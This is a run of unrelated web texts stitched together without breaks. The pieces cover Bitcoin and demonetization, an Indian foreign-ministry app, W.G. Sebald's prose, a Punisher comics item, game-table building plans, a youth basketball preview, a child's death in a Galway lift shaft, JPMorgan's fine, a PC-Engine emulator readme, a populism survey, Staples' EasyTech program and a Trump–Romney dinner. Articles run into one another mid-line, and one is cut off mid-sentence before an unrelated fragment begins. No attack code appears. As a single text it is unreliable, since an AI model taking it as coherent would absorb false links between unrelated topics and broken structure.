During the month of November, speculative trading has pushed Bitcoin to trade at a $100 plus premium on the INR markets, showcasing the impact that demonetization policies have on citizens and the price of Bitcoin.
Will Pakistan’s move to phase out high denomination notes add even more upward pressure to Bitcoin? Let us know in the comments below!
Images courtesy of shutterstock, banknotenews.com, coin.danceHave an android or iOS platforms phone? Then tracking your passport application will be just a matter of pushing some buttons with Ministry of External Affairs today launching a mobile application.In the next couple of months, people will be able to even apply for passport through their phone.For the first time in the world, a country's foreign ministry has been able to integrate and consolidate its entire digital presence in one's hand, thanks to 'MEAIndia' app.The MEA envisages the application be a "one-stop shop" for you.From getting updates from all the 124 Indian missions in the world, to getting information for consular access in case you are abroad, to booking yourself for the Kailash Manasarovar Yatra, everything is now available on your fingertips."It's a one stop shop to give you all you need to know," said outgoing Foreign Secretary Ranjan Mathai after inaugurating the app at an event here. He retires July 31.And in what could be a record of sort, the mobile application project was completed in just a little under six months.The MEA is the first government department to have a mobile app for smartphone users.It will provide details of all citizen-centric services of the MEA like passport, visa for those travelling to India and Haj related details among others."We were a little reticent when we started this process about six months ago... and it is over in little less than six months," Ministry of External Affairs spokesperson Syed Akbaruddin said.The main people behind the creation are two young techies from Silver Touch Technologies -Prakash Srivastava and Sarla Meghnani - and young IFS officer Vishnu Vardhan Reddy besides Akbaruddin and Foreign Secretary Ranjan Mathai.Besides providing a vast information on India's foreign policies and activities, one can even take part in quiz and win Rs 1000 e-vouchers for buying books.The essential theme of W.G. Sebald’s books is memory: how painful it is to live with, how dangerous it can be to live without it, for both nations and individuals. The narrators of his books—of which “Austerlitz” and the four linked narratives of exile in “The Emigrants” are the most compelling—live in a state of constant reminder. Everything blends into everything else: places, people, their stories and experiences, and above all different times, which seep into each other and blur together, often in long, unmoored passages of reported speech. The narrator of “Vertigo” gives a concise account of this method: “drawing connections between events that lay far apart but which seemed to me to be of the same order”.
Sebald, born in Bavaria in 1944, spent most of his adult life as an academic in Britain. He died in Norfolk in 2001, after having a heart attack at the wheel of his car. He wrote in German, but worked closely with his English translators, Michael Hulse and Anthea Bell. In either language, his voice is mesmeric.
Key decision
To invent his own hybrid form. Sebald’s main works blend travelogue and meditation, fiction with history and myth. They have a narrator who both is and is not Sebald himself: a spectral character who is sensitive, digressive and restless, compulsively peregrinating around Europe and its past.
Strong points
Finding a voice to fit his preoccupations. His sentences are looping, reflexive, moving forward yet endlessly turning back on themselves. By the time he wrote “Austerlitz”, the last book he published before his death, Sebald had more or less dispensed with paragraph breaks altogether. This fluidity creates a feeling, as the character Austerlitz says of his own sense of history, that “time will not pass away, has not passed away, that I can turn back after it”—clauses that are themselves part of a much longer, circular sentence. This is a style that tries to unbury the dead through syntax.
Golden rule
Obliqueness, or, as one critic put it, tact. Sebald’s prose is finely wrought yet unflashy. His punctuation is rarely more exotic than the comma; his vocabulary is unadorned. Similes are uncommon: he deals instead in a sort of luminous reality. As in style, so in content. Asked about his approach to the horrors of 20th-century history—his work circles the Nazi Holocaust as if it were a mountain—Sebald once said that his aim was to intimate “to the reader that these subjects are constant company; their presence shades every inflection of every sentence one writes”, without describing the camps and catastrophes directly. It is loss, rather than bloodshed, that his books lament.
Favourite trick
Putting pictures into the text that subtly reinforce these themes. They are black-and-white, uncaptioned and unexplained—pictures of people, but also train tickets, restaurant receipts, maps and other relics. They seem to advertise the veracity of the stories they appear in, yet they are artful and calculated. The images are often poignant, at once bringing back forgotten people and confirming that they are irrevocably lost. They point up a question that is at the heart of Sebald’s work: why do we cling on to some things from the past while the rest of it escapes us?
Role models
In the way it samples and fractures different subjects and stories, Sebald’s work is almost post-modern. Jorge Luis Borges is cited by some as a key influence on him. And yet his sentences are also plangently old-fashioned, sometimes reminiscent, for readers in English, of medieval periods. There are echoes of Thomas Malory and Thomas Browne and, in his dextrous weaving of complementary tales, of Ovid.
Typical sentence
Many of the finest are too long to cite, so this, from “The Emigrants”, will have to do: “And so they are ever returning to us, the dead.”
Vintage Classics reissue three of Sebald’s books this year: "The Emigrants", March; "Rings of Saturn", April; "Vertigo", JuneFrank Castle has been many things in his vigilante career, but he's never been given a Stark powered suit of armor. That looks like it is going to change.
During the Cup O' Joe panel at San Diego Comic-Con, a question was asked concerning Frank Castle's role in Legacy, specifically if he is going to taking on the War Machine armor. ComciBook.com was on hand when Marvel editor Nick Lowe erased any doubt.
"Frank Castle is absolutely putting on the War Machine armor, but we can't give any more details," said Lowe. Marvel teased a possible mash-up of the two in a teaser cover from Legacy, but nothing else has been said about it until now. Frank Castle is currently working for Hydra leader Steve Rogers (even now that is still very weird to write), tracking down Black Widow and her Red Room group of heroes.
How he gets from his current role in Secret Empire to somewhere along the line putting on the War Machine armor is unknown. Also unknown is if Tony Stark is even aware of him taking the suit, as Stark is still comatose in his life pod and the A.I. version didn't fare too well either in Secret Empire #6. Either way, it promises to be an entertaining if brutal roller coaster ride.Plans to Build a Napa Style Fair & Square Game Table Knock Off
Why not make “Game Night” a little more exciting with these plans to build a game table? The table includes a drawer and cubbies for wine storage! What’s not to like?
Materials:
1-1/4” pocket hole screws
2″ pocket hole screws
1-1/4” screws
Edge banding for plywood, optional
Two sets of 14” drawer slides
Two drawer knobs or handles
8 – Decorative metal brackets, optional (provided in cut list*)
Wood glue
Sandpaper (100, 150, 220 grits)
Finishing supplies (primer & paint, or stain, sealer)
Lumber:
2 – 2×4 at 6’
4 – 2×2 at 6’
1 – 1×2 at 8’
1 – 1×2 at 4’
2 – 1×3 at 6’
1 – 1×4 at 4’
One sheet of ¾” plywood
Half sheet of ½” plywood
Quarter sheet of ¼” plywood
Cut List:
4 – 2×4 at 29-1/4” – Legs
4 – 2×2 at 27” – Side Frames
2 – ¾” plywood at 14-1/4” x 27” – Side Panels
6 – 2×2 at 23” – Stretchers
3 – 1×2 at 27” – Top Supports
2 – 1×2 at 23” – Top Supports
2 – ¾” plywood at 23” x 27” – Shelves
4 – 1×3 at 12-1/2” – Drawer Boxes
4 – 1×3 at 22” – Drawer Boxes
2 – ¼” plywood at 14” x 22” – Drawer Bottoms
2 – 1×4 at 22-3/4” – Drawer Fronts
4 – ½” plywood at 9” x 30” – Dividers
1 – ½” plywood at 23” x 30” – Divider
8 – ¾” plywood triangles at 3” x 3” – Brackets*
1 – ¾” plywood at 42” x 42” – Top
Notes:
Edge banding will be applied to the exposed edges of the plywood before assembly.
1. Cut the pieces for the legs. Cut the angle in the bottom of each leg using a jigsaw.
2. Cut the pieces for the side frames and panels. Drill pocket holes in each piece as shown (using the proper depth setting on the jig, of course!) and attach the side frame pieces to the panels using glue and 1-1/4″ pocket hole screws. Attach the side assembly to the legs using glue and pocket hole screws. Use 2″ pocket hole screws through the frame pieces and 1-1/4″ pocket hole screws through the panel into the legs. The angle on the legs will face to the inside, and the panel will be flush with the inside face of the legs.
3. Cut the piece for the stretchers. Drill pocket holes in each end of each piece. Attach to the legs as shown using glue and 1-1/4″ pocket hole screws. The pocket holes should face down so they won’t have to be filled.
4. Cut the pieces for the top supports. Attach as shown using glue and 1-1/4″ pocket hole screws with the pocket holes facing up (so they will be hidden under the table top). The outside edge of the longer stretchers will be flush with the outside edge of the legs.
5. Cut the pieces for the shelves. Drill pocket holes around all sides. Attach as shown using glue and 1-1/4″ pocket hole screws. The top face of the shelves will be flush with the top face of the corresponding stretchers.
6. Cut the pieces for the drawer boxes. Assemble as shown using glue and 1-1/4″ pocket hole screws. Cut the piece for the bottom and attach using glue and 1-1/4″ brad nails. Attach the drawer slide hardware according to the manufacturer’s instructions. For an easy tutorial, click here. Make any necessary adjustments.
7. Cut the pieces for the drawer fronts. For another easy tutorial, click here.
8. Cut the pieces for the dividers. Cut the notches as shown using a jigsaw and assemble. Insert into the cabinet opening and secure using 1-1/4″ brad nails through the sides and bottom.
9. Cut the pieces for the brackets. They can be attached with glue and by toenailing screws or brad nails through them into the legs. If desired, decorative brackets can be purchased and installed at the same locations.
10. Cut the piece for the top. The top will overlap on all sides by 6″. Attach using glue and countersunk 1-1/4″ screws through the bottom of the top supports into the top. (Does that make sense??)
Finish as desired. Aren’t these plans to build a game table great? I love it, myself and have added it to the “to build” list! If you need any help with the plans or would like to make a plan request, contact me at cher {at} designsbystudioc {dot} com!
#DIY #woodworkingplans #furnitureplansBy Jordan Divens
The fast-approaching Nike Elite Youth Basketball League (EYBL) Peach Jam will begin in less than a month in North Augusta, South Carolina, from July 6-10.
After one of the most exciting regular seasons in EYBL history, the circuit has established itself as the most talented and deepest AAU circuit in the nation. The best 24 teams will compete on the biggest stage in front of hundreds of Division I college coaches and scouts. Elite high school talent will be on tap all weekend, and players and coaches are eagerly awaiting their opportunity to seize the moment.
Top Dogs: Heading into the Peach Jam, the division winners (Howard Pulley, PSA Cardinals, Team CP3, Team Penny) will be flexing—each finished the regular season 14-2. The other juggernaut headed into postseason play is Mokan Elite, which was led to 13-3 behind its two-headed monster of Michael Porter Jr. and Trae Young. Howard Pulley was led by the third-leading scorer in the EYBL, Gary Trent Jr., and has a solid supporting cast highlighted by the emergence of Brad Davison. Team Penny and Team CP3 are rolling into postseason play with 12 consecutive wins to end the regular season. Team Penny did it behind a deadly three-pronged attack of PJ Washington, John Petty, and Khalil Garfield, while Team CP3 featured four players averaging double figures in regular season play behind Wendell Carter Jr., Michael Hueitt Jr., Lavar Batts Jr., and Devontae Shuler. The PSA Cardinals had the season's leading assist man, Quade Green, and the leading rebounder, Mohamed Bamba (although Bamba only played seven regular-season games), and will be confident headed into the Peach Jam.
Contenders: Watch out for these contenders to make a deep run in the 2016 Peach Jam to possibly shock the top dogs and win the title. California Supreme finished the regular season 10-6 behind their twin towers in the paint, 7-footers Brandon McCoy and De’Andre Ayton. Another team with a strong regular season behind play from their star is E1T1 United, which finished 11-5 behind dominant play from their superstar wing Kevin Knox. The St. Louis Eagles also finished 11-5, and were carried by rising guard Jordan Goodwin and his backcourt mate Darius Garland. Team Final finished 10-6 behind a talented group of guards; Daron Russell ran the point, and the high-scoring Lonnie Walker and Cameron Reddish were on the wings to carry the offense.
Dark Horse: Expressions Elite has four highly coveted prospects who were averaging double figures during the regular season. Kimani Lawrence, Jermaine Samuels Jr., Tremont Waters, and Nick Richards all played huge roles for Expressions Elite in the regular season by averaging double figures. Expectations were high for this team coming into EYBL play, but they flew a bit under the radar in the regular season by finishing just 9-7 in Division C. This team certainly has the star power to make a deep run in the Peach Jam, and will rely heavily on Nick Richards and Tremont Waters to perform consistently in postseason play.
Cinderella? If there is going to be a Cinderella team during the postseason, look for The Rens to fill this role. They finished 8-8 in the regular season, but snuck into postseason play as one of the final automatic bids. The Rens are the defending champions of the Adidas Gauntlet Finale, and have the ability to make a run in the Nike EYBL postseason. This year, a different group leads the way as Hamidou Diallo, Jordan Tucker, Jordan Nwora, and Jose Alvarado all averaged double figures and will play huge roles in The Rens' fate moving forward. Alvarado had a small role on last year’s team, and Dallo, Tucker, and Nwora are newcomers. They will need Diallo and Alvarado to dominate the backcourt to make another magical run in the Nike EYBL Peach Jam.
Players to Watch: 2017 7’ 0” C Brandon McCoy (California Supreme)
2017 7’ 0” PF De’Andre Ayton (California Supreme)
2017 7’ 0” C Mohamed Bamba (PSA Cardinals)
2017 6’ 11” PF Mitchell Robinson (Pro Skills)
2018 6’ 11” PF Marvin Bagley III (Phoenix Phamily)
2017 6’ 11” C Nick Richards (Expressions Elite)
2017 6’ 10” PF Wendell Carter Jr (Team CP3)
2017 6’ 10” PF Jaren Jackson Jr (Spiece Indy Heat)
2018 6’ 9” PF Simi Shittu (CIA Bounce)
2017 6’ 8” PF Jarred Vanderbilt (Houston Hoops)
2017 6’ 8” PF PJ Washington (Team Penny)
2017 6’ 9” SF Michael Porter Jr (Mokan Elite)
2017 6’ 8” SF Kevin Knox (E1T1 United)
2017 6’ 7” SF Brian Bowen (Meanstreets)
2017 6’ 5” SF John Petty (Team Penny)
2017 6’ 6” SG Gary Trent Jr (Howard Pulley)
2017 6’ 5” SG Charles O’Bannon Jr (Las Vegas Prospects)
2017 6’ 5” SG Lonnie Walker (Team Final)
2017 6’ 5” SG Anthony Gaines (Albany City Rocks)
2017 6’ 5” SG Jordan Goodwin (St Louis Eagles)
2017 6’ 4” SG Hamidou Diallo (The Rens)
2017 6’ 4” SG Chaundee Brown (Nike South Beach)
2017 6’ 6” PG Troy Brown Jr (Las Vegas Prospects)
2017 6’ 2” PG Trae Young (Mokan Elite)
2017 6’ 1” PG Markell Johnson (King James)
2017 6’ 0” PG Quade Green (PSA Cardinals)
2017 6’ 0” PG Tremont Waters (Expressions Elite)
2019 6’ 0” PG Tyger Campbell (Spiece Indy Heat)
2017 5’ 7” PG Chris Lykes (Team Takeover)
Peach Jam Field: (24 teams) Division Winners:
Team CP3 14-2
Howard Pulley 14-2
PSA Cardinals 14-2
Team Penny 14-2
Automatics Bids:
Mokan Elite 13-3
E1T1 United 11-5
St Louis Eagles 11-5
Playaz Basketball Club 11-5
Team Takeover 10-6
California Supreme 10-6
Team Final 10-6
Albany City Rocks 9-7
Meanstreets 9-7
CIA Bounce 9-7
Expressions Elite 9-7
BABC 9-7
The Rens 8-8
Nike South Beach 8-8
Pro Skills 8-8
Phoenix Phamily 7-9
At-Large Bids:
Spiece Indy Heat 9-7
King James 8-8
Houston Hoops 7-9
Las Vegas Prospects 7-9THE mother of a three-year-old boy who died after falling into a lift shaft has said the entire tragedy was over in a moment.
Omolara Akinyede lost her son, Solomon, in a freak accident that saw him suffer crush injuries after falling into the shaft in Galway.
She and Solomon's seven-year-old sister, Princess, said a heartbreaking farewell to him yesterday as they prayed over his remains in the city morgue.
Ms Akinyede wept as her daughter whispered a final message into her little brother's ear.
Her two younger children, Esther (2) and four-month-old Zion, were cared for by friends.
"She is just in total shock. She had just got Solomon into pre-school in Galway and was in the social welfare offices getting forms filled for that," said one friend.
"She can't speak about what happened.
"All she could say was it happened so quickly, it was all over in a minute, then she starts crying."
Ms Akinyede, who is a trained nurse, must decide whether to bury her son in Ireland or Nigeria. She is so confused about what to do and she has been speaking with her family in Nigeria," added a friend.
She has been living here for the past eight years and her four children are irish-born.
Despite only moving to Galway in recent weeks, Princess was at an Irish school and Solomon had enrolled for pre-school.
"They were looking forward to a life here, and now that has been torn apart," said Jubilee Echefu, president of the Association of Nigerians in Galway.
Ms Echefu has stayed with Ms Akinyede and her three daughters since the tragedy.
The family have been unable to face returning home and have spent the past two days in a B&B.
Solomon was with his mother and three sisters at the social welfare offices on the first floor of the Hynes Building when he became separated from them. He was on his own when he was seriously injured in the fall.
Investigations by gardai and the Health and Safety Authority are under way into how he could have entered the lift shaft.
The office was closed yesterday, with social welfare recipients due to sign on being told to reschedule.
hnews@herald.ieJamie Dimon, chief executive officer of JPMorgan Chase & Co., smiles during a discussion at the Council on Foreign Relations in Washington, D.C., U.S., on Wednesday, Oct. 10, 2012. Dimon said bond markets would spurn U.S. debt if lawmakers fail to reach an agreement to address the nation's deficit. Photographer: Andrew Harrer/Bloomberg via Getty Images
A record bank penalty is being erased in record time.
JPMorgan Chase shareholders are well on their way to recouping all of the $13 billion fine the bank agreed to pay just a week ago to settle charges of selling bad mortgage bonds ahead of the financial crisis, Wall Street Journal Money & Investing Editor Francesco Guerrera noted on Tuesday (subscription only).
That is because the bank's stock price has jumped more than 3 percent since the settlement announcement, as investors cheer JPMorgan putting its legal woes behind it. The increase has raised the value of JPMorgan shares by nearly $7 billion. Guerrera notes that at this pace, the bank -- the largest in the U.S. -- will more than make up the entire $13 billion by next week. (Story continues after chart, courtesy of Yahoo Finance.)
Actually, in one way, the bank has already made up all of the penalty: Since news of the settlement first broke last month, the company's shares are up nearly 6 percent -- adding more than $12 billion in market value. Throw in the $4 billion in tax deductions the bank might be able to take on the settlement, and that more than covers the penalty.
Government officials bragged about the hugeness of what they extracted from JPMorgan, and much was made of how it would hit the bank's bottom line. JPMorgan lawyer Stephen Cutler is still whining about it. For sure, the fine did temporarily hurt JPMorgan's ability to crank out massive profits. Legal costs led the bank to its first loss in nine years. That hurt the entire banking sector's results in the third quarter.
You could also argue that JPMorgan's stock price might be even higher if not for its legal headaches. But then the stock is hardly cheap. It's trading at more than the bank's "book value" -- its assets minus its liabilities -- while peers like Bank of America and Citigroup trade well below their book values.Sorry,my English is very poor. English corrected by James,thanks.
This software is at a *VERY* early stage. It currently only works with few carts. If you wish to play games,there are other decent emulators available. If you are interested in how this emulator was written, you may find my source code useful (Although it's very dirty code.) The source is for PC-AT/VGA and PC-9801/9821 on DOS with DJGPP v2, and PlayStation.
Why did I make a PC-Engine emulator when there are other good emulators = already available? Well I originally wanted to port PC-Engine emulator to PlayStation, but = I couldn't find the source. For the time being I'm now working on a PC-Engine emulator for DOS/VGA. My last target is PlayStation, if a PC-Engine CD-ROM run on PS console, which is quite funny,don't you think? At the present moment I don't know if I will finish this project or not.
Notes for PC-AT:
This software runs only with DPMI. If you run it in Windows your DOS-box have DPMI. However if you are running pure DOS, you require CWSDPMI.EXE to be loaded. You can find CWSDPMI on DJGPP site, www.delorie.com. Although you probably already have it,try searching your harddisk.
The PC-Engine's vertical resolution is 256, but VGA mode 13h is only 200, so the upper and lower 28 line isn't shown.
Notes for PC-98:
This software runs only with DPMI. If you run it in Windows your DOS-box have DPMI. However if you are running pure DOS,you must run DPMI.EXE(included DOS command) before you launch the emulator.
It auto-detects 9801/9821, use 16 color with dithering on 9801, use 256 color on 9821. On 9821,if display frequency is 24Khz,then use 640x400 resolution,if display frequency is 31Khz,then use 640x480. If resolution is 640x400,upper and lower 28 line isn't shown.
Notes for PlayStation:
The emulator only outputs in NTSC, and it's *VERY* slow. To transfer the ROM images you'll need PS-PAR, PC-LINK and CAETLA. First of all send the ROM-image(MagicEngine format,512byte header+image) at 80090000. Then use fpce.exe send and exec. Using CAETLA and psexe,
psexe <ROM-file> -d80090000 psexe fpce.psx
このソフトは極めて初期段階です。 ゲームで遊ぶのが目的なら、他にもっといいエミュレータがあります。 エミュレータの内部構造に興味があるなら、ソースコードが役に立つかもしれません(汚いけど)。 このソースはPC-AT/VGAとPC-9801/9821のDOS用で、DJGPP v2でコンパイルできます。
他にエミュレータがあるのに、何でいまさらPC-Engineエミュレータなんか作るのか？ MasterSystemエミュレータをPlayStationに移植してからエミュレータの内部構造に興味が出てきて、他のエミュレータも移植したくなったけど、適当な公開されたソースが見つからなかったので、仕方ないので自分で作りました。 とりあえず実験的にDOS/VGA用です。PlayStation版もリリースしました。 PC-EngineのCD-ROMがそのままPlayStationで動いたら面白いと思うけど、(技術的・時間の暇的に)できるかどうかわかりません。
PC-AT版補足:
実行にはDPMIが必要です。WinのDOS窓にはDPMIがあります。MS-DOSの場合はCWSDPMI.EXEがあれば自動的に実行されます。CWSDPMIはDJGPPのサイトにあります。
PC-Engineの垂直解像度は256ですが、VGA mode 13hの垂直解像度は200しかないので、上下の28ラインは表示されません。
PC-98版補足:
実行にはDPMIが必要です。WinのDOS窓にはDPMIがあります。MS-DOSの場合はDPMI.EXE (DOSに付属)等を事前に実行してください。
9801/9821を自動判別し、9801は16色ディザ、9821は256色モードで動作します。 9821では、現在のディスプレイ周波数が24khzであれば640x400、31Khzであれば640x480になります。 640x400では画面の上下が切れます。
PlayStation版補足:
これはNTSC用で、とても遅いです。 実行にはPS-PAR,PC-LINK,CAETLAが必要です。 最初にROMイメージ(MagicEngine形式の512バイトヘッダ+イメージ)を80090000に転送 します。次にfpce.psxを転送実行します。CAETLAとpsexeを使って
psexe <ROM-file> -d80090000 peexe fpce.psx
Support:
MagicEngine/VPCE format: raw ROM image or 512 byte header + ROM image
Not Support:
Sprite Priority
Sound
CD-ROM
Timer Interrupt
and more
Usage:
fpce <cart-file> (wait option is none,so too first.)
Key:
RUN Enter SELECT TAB CURSOR CURSOR I X or Space or Alt(PC98-GRPH) II Z or Ctrl (exit) ESC
Status:
Greets:
6502 core by Marat Fayzullin: http://www.komkon.org/fms/EMUL8/ PC-Engine document by Jens Ch. Restemeier: http://www.geocities.com/SiliconValley/Way/3340/console.html PC-Enigne document DEVELO book by Tokumashoten Intermedia: ISBN T10664509535001 Keyboard interrupt and 256x240 mode from SVGALib for DJGPP by Mihai Cartoaje: http://wwwbacc.ift.ulaval.ca/~moisemih/ DJGPP by GNU and DJ Delorie: http://www.delorie.com/djgpp/ PlayStation hardware internals: http://www.blackbag.org/psx/ PlayStation develop enviroment "CAETLA": http://www.netlaputa.or.jp/~iwata/kcomm/(Japanese)
Update:
version 0.01 support PlayStation version 0.0 first releaseWhat is science?
A seemingly profound, yet totally ridiculous question to try and answer. Yet, when Oxford University Press reached out to the brilliant scholar of Victorian science, Iwan Rhys Morris, they were tapping the right man for the job on the shoulder. He designed, contributed, and edited The Oxford Illustrated History of Science (Oxford University Press, 2017) which was published earlier this year. He assembled an all-star team of specialists with backgrounds in a variety fields in this history of science. His simple yet complex answer to the question I just posed is: science is humanity. Without humanity, there would be no science. No Newton, no Darwin, and no Dr. Who. This book is both conventional and not, sweeping yet focused, and really fun to read as both a reference source and as a piece of world history. Join me, J.N. Campbell and for podcasts to come, my colleague Steve Rooney, as we host new segments for New Books in Science. We will ask probing questions, and of course, we hope you enjoy our rapid fire installment at the end! Here is the first installment with my guest, Iwan Morris. Enjoy!
J. N. Campbell is an independent scholar and writer in Houston, Texas. He is the co-author with Steven M. Rooney of How Aspirin Entered Our Medicine Cabinet (Springer, 2017), which can be found on Amazon. They have a second book entitled, Numb: A Chemical History of Opioid Epidemic, which is due out in 2018. He has written for the International Journal of the History of Sport, Reviews in History, and is a featured writer for Good Grit Magazine. After receiving an M.A. in History from the University of Kentucky, he fashions himself as a life-long student of history.Many people around the world now believe their country is in decline and that the system built by the ‘establishment is rigged against them.
2016, quite unexpectedly, was a year of historic political events such as Brexit, the election of Donald Trump and the Italian constitutional referendum. The rise of right wing political parties is not only evident but a reality with impending elections in France and Germany, both with huge potential to derail the entire EU project, especially the first, due in France April 23rd.
A major new Ipsos survey across 22 countries paints a picture of a global public, feeling that they have paid the price for rising inequality and simply been left behind by the traditional system of politics and government. Notably, this has translated into high levels of support for a strong leader willing to break the rules. These leaders tend to ride on a wave of populism, quite often with no real plan as in the case of the leader of Britain’s UK Independence Party (Ukip) Nigel Farage, who, after more than a decade of campaigning to exit the EU, retired from British politics within days of Brexit. Donald Trump seems to have a plan but with many |
Tech. The launch rebranded the "Easy Mobile Tech" name with plans to install an 11' x 17' kiosk in every store. The kiosk may vary from store to store depending on its size and volume. Most kiosks take up part of the Customer Service desk. Within the kiosk, Easy Resident Techs offered repair service as well as sold products. These technicians wore gray "Easy Tech" polo shirts to distinguish them from regular Staples workers. While there was typically one tech per store, a second tech may have been employed for high-volume stores.
Beginning July 2008, Staples launched a new program labeling all technology workers as "EasyTechs". Under the new guidelines all technology workers are required to have the skills necessary to perform basic services such as memory installation and PC configuration. In addition, all technology workers wear black polo shirts with green "EasyTech" emblems to set them apart from other store workers. The change was due to the company's new focus on services, allowing more customers to be assisted in less time. Most stores will still have a main "EasyTech" who performs most of the more complex tasks.
Beginning November 2008, eleven concept stores featuring a broader array of small business technology services were launched, which are known by the company as Best Tech stores. EasyTechs and sales workers were now referred to as "Tech Advisors" and "Solutions Advisors". The concept stores carry many more technology related products such as digital signage, small business servers, NAS (Network Attached Storage), and business networking. Staples also partnered with an on demand IT service provider, with such services as network monitoring, advanced network configurations, and server setup.
These concept stores are mainly based in New Hampshire, with stores in Nashua, Seabrook, West Lebanon, Dover and Concord. Some stores with this new concept also opened in Massachusetts, including the Auburn store. Other existing stores have been renovated to include Best Tech's services, including the Newington, Connecticut, and Natick store.
See also [ edit ]
Notes [ edit ]
References [ edit ]President-elect Donald Trump met with Mitt Romney and Reince Priebus for dinner in New York City as the incoming commander-in-chief decides who will become his secretary of state.
This is the second time Romney and Trump have met since the election. Trump has been considering Romney for the prominent spot in his cabinet despite the former Massachusetts governor being one of Trump’s biggest critics in the GOP.
The three men arrived at Jean-Georges, a French eatery near Central Park, around 7.30pm on Tuesday.
After the meal, Romney said he had an 'interesting and engaging' conversation with Trump and praised the president-elect for his transition into the White House.
Scroll down for video
President-elect Donald Trump was spotted entering Jean Georges, a French eatery near Central Park, with Mitt Romney and Reince Priebus on Tuesday night
This is the second time Romney and Trump have met since the election as the president-elect considers the former Massachusetts governor for secretary of state
Trump, Priebus and Romney sat near one of the restaurant’s floor-to-ceiling windows on the rainy Tuesday evening and continued talks throughout their meal
The trio ate from the menu which cost between $138 and $218 with additional supplements such as $25 for the dry aged prime sirloin and $15 for the lamb chop option
Romney said they discussed 'affairs around the world' and that he was impressed with Trump's speech on the night he won the election.
'It's not easy to win. I know that myself. He did something I tried to do and was unsuccessful in accomplishing and he won the general election.
'He continues to spread a message of inclusion and bringing people together. And his vision is something that obviously connected with the American people in a very powerful way.'
Romney also praised Trump's picks of Jeff Sessions and Tom Price as members of his cabinet.
'I happen to think America's best days are ahead of us and I think you're going to continue to see America lead the world in this century and what I've seen through these discussions I've had with president-elect Trump... as well as his selection as part of his transition - all of those things combined give me increasing hope that president-elect Trump is the very man that can lead us to that future,' Romney said.
Trump appeared pleased as Romney spoke during the meal with the two Republican leaders
Trump was asked how the meeting was going and he responded with a thumbs up
During the meeting, CNN's Jim Acosta, who was in Jean-Georges' dining room, described the men as having a ‘warm but animated discussion', with Trump talking first and Romney chiming in later.
TRUMP AND ROMNEY'S MENU AT JEAN GEORGES Appetizers: Young garlic soup with thyme and sautéed frog legs Small plates: Diver scallops with caramelized cauliflower and a caper raisin emulsion Main Course: Prime sirloin with a citrus glaze and carrots Lamb chops with the mushroom bolognese sauce. Dessert: Chocolate cake
When Trump spotted Acosta, he called out, 'Hello Jim.' Acosta replied, 'Hello, Mr. President.'
Trump was asked how the meeting was going and he responded with a thumbs up.
He added that Trump sat cross-armed as Romney spoke to him with a smile.
Video showed all three men entering the restaurant to diners applauding.
The three men had a lavish meal at Jean-Georges, starting with young garlic soup with thyme and sautéed frog legs.
Then they moved on to scallops with caramelized cauliflower and a caper raisin emulsion.
For their main course, both Priebus and Trump had prime sirloin with a citrus glaze and carrots. Romney had lamb chops with the mushroom bolognese sauce.
The 'basic' menu at Jean-Georges starts at $138 per head, although they chose items from the more expensive Late Harvest Menu, which costs $218.
However, Trump and Priebus' prime sirloins attract a $25 supplement, while Romney's lamb chops were just $15 more expensive than the basic menu.
Video shows diners in the restaurant applauding as the three men made their way to their table
CNN's Jim Acosta described the men as having a ‘warm but animated discussion, with Trump talking first and Romney chiming in later
After the meal, Romney (pictured) said they discussed 'affairs around the world' and that he was impressed with Trump's speech on the night he won the election
And for dessert, all three had chocolate cake.
Trump, Priebus and Romney sat near one of the restaurant’s floor-to-ceiling windows on the rainy Tuesday evening as they talked throughout their meal.
Their wives, who were originally supposed to join the men, didn't attend the dinner.
Trump arrived back at Trump Tower at 9.40pm where he ended his day.
Earlier, Trump also interviewed Tennessee lawmaker Bob Corker, chairman of the Senate's Foreign Relations Committee, for the State Department post.
Yesterday Trump met with former CIA Director David Petraeus who's also said to be under consideration to become the face of the Trump administration internationally.
'He continues to spread a message of inclusion and bringing people together. And his vision is something that obviously connected with the American people in a very powerful way,' Romney said
'I happen to think America's best days are ahead of us and I think you're going to continue to see America lead the world in this century,' Romney added
'What I've seen through these discussions I've had with president-elect Trump... as well as his selection as part of his transition - all of those things combined give me increasing hope that president-elect Trump is the very man that can lead us to that future,' Romney said
Romney also praised Trump's picks of Jeff Sessions and Tom Price as members of his cabinet
Several of Donald Trump's top cabinet positions remain vacant, including secretary of state, as the president-elect continues to meet with candidates, some of whom he's seeing more than once.
Corker told reporters after his sit down at Trump Tower with the president-elect, 'I enjoyed the opportunity to be here, it's an honor.
'I know he has a number of outstanding individuals that he's talking with. I was glad to be here and glad to see more fully some of what his views about the world are.'
Petraeus said after his Monday meeting with Trump, 'He basically walked us around the world. Showed a great grasp of a variety of the challenges that are out there and some of the opportunities as well.'
Trump interviewed Tennessee lawmaker Bob Corker, chairman of the Senate's Foreign Relations Committee, this afternoon for the State Department post
Yesterday Trump met with former CIA Director David Petraeus who's also said to be under consideration to become the face of the Trump administration internationally
The retired four-star general who was slapped with a misdemeanor, two year's probation and a $100,000 fine for sharing the nation's secrets with his mistress said he had a'very good conversation' with the president-elect.
'And we’ll see where it goes from here,' he added.
Romney last met with Trump on November 19 at the president-elect's Bedminister, New Jersey, golf course.
'We had a far-reaching conversation with regards to the various theaters in the world where there are interests of the United States of real significance,' Romney said at the time.
'We discussed those areas, and exchanged our views on those topics - a very thorough and in-depth discussion in the time we had. And I appreciate the chance to speak with the president-elect and I look forward to the coming administration and the things that it's going to be doing.'
The competition for secretary of state in Trump's administration has become the vicious, with allies of former New York City Mayor Rudy Giuliani, who's also gunning for the post, publicly knifing Romney.
WHERE'S RUDY? Giuliani has not been seen at Trump Tower since before the Thanksgiving holiday. Trump spokesman Jason Miller told reporters staking out the building's lobby, 'I don't know what the mayor's schedule is today'
Trump loyalists are angry the president-elect is talking to Romney because of zest with which the 2012 standard bearer went after Trump in this year's primary, claiming he was a 'phony, a fraud' and likely hiding a bombshell in his unreleased tax returns.
Kellyanne Conway, a senior adviser to Trump, shredded Romney on CNN's State of the Union on Sunday. Mike Huckabee said a Romney appointment would be a betrayal.
Congressman Chris Collins, a member of Trump's executive committee, said Monday that Romney's a 'loser' and a bit of a 'lone wolf.' The New York representative seared Romney as a'self-serving egomaniac.'
Former House Speaker and Trump transition Vice Chair Newt Gingrich is also advising the president-elect not to pick Romney.
Kellyanne Conway, a senior adviser to Trump, shredded Romney on CNN's State of the Union on Sunday. Trump loyalists are openly telling Trump not to hire him
'I think it's outrageous,' Gingrich told USA Today in an interview that ran today. 'Romney said vile and vicious things. Romney opposed him all the way up to the election. In my judgment, Romney will be a very high risk... because I think Romney has zero interest in the Trump revolution and every interest in re-establishing his own credentials.'
